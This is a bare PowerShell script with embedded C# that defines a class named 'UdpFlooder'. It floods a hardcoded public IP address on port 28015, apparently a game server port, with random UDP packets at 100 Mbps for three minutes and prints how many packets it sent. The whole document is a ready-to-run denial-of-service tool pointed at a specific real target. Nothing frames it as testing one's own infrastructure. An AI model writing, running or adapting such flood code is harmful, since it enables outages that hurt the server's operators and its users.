$targetIp='139.99.124.11';$targetPort=28015;$durationSec=180;$targetMbps=100
Add-Type -TypeDefinition @"
using System;
using System.Net;
using System.Net.Sockets;
using System.Diagnostics;
using System.Threading;
public class UdpFlooder {
    public static string Run(string ip,int port,int seconds,double mbps){
        var ep=new IPEndPoint(IPAddress.Parse(ip),port);
        var sock=new Socket(AddressFamily.InterNetwork,SocketType.Dgram,ProtocolType.Udp);
        sock.Blocking=false;sock.SendBufferSize=10*1024*1024;
        var payload=new byte[1470];new Random().NextBytes(payload);
        double pps=Math.Max(1,Math.Floor((mbps*1e6/8)/1470));
        double intervalMs=1000.0/pps;
        long sent=0,errors=0;double next=0;
        var sw=Stopwatch.StartNew();
        while(sw.Elapsed.TotalSeconds<seconds){
            try{sock.SendTo(payload,ep);sent++;}
            catch(SocketException){errors++;Thread.Sleep(1);continue;}
            next+=intervalMs;
            double remain=next-sw.Elapsed.TotalMilliseconds;
            if(remain>2)Thread.Sleep((int)(remain-1));
            while(sw.Elapsed.TotalMilliseconds<next)Thread.SpinWait(50);
        }
        sw.Stop();sock.Close();
        double actual=(sent*1470.0*8)/(sw.Elapsed.TotalSeconds*1e6);
        return string.Format("{0} p ({1} err), {2:F2}s, {3:F2} Mbps",sent,errors,sw.Elapsed.TotalSeconds,actual);
    }
}
"@ -ReferencedAssemblies System.Net.Sockets
Write-Host ([UdpFlooder]::Run($targetIp,$targetPort,$durationSec,$targetMbps))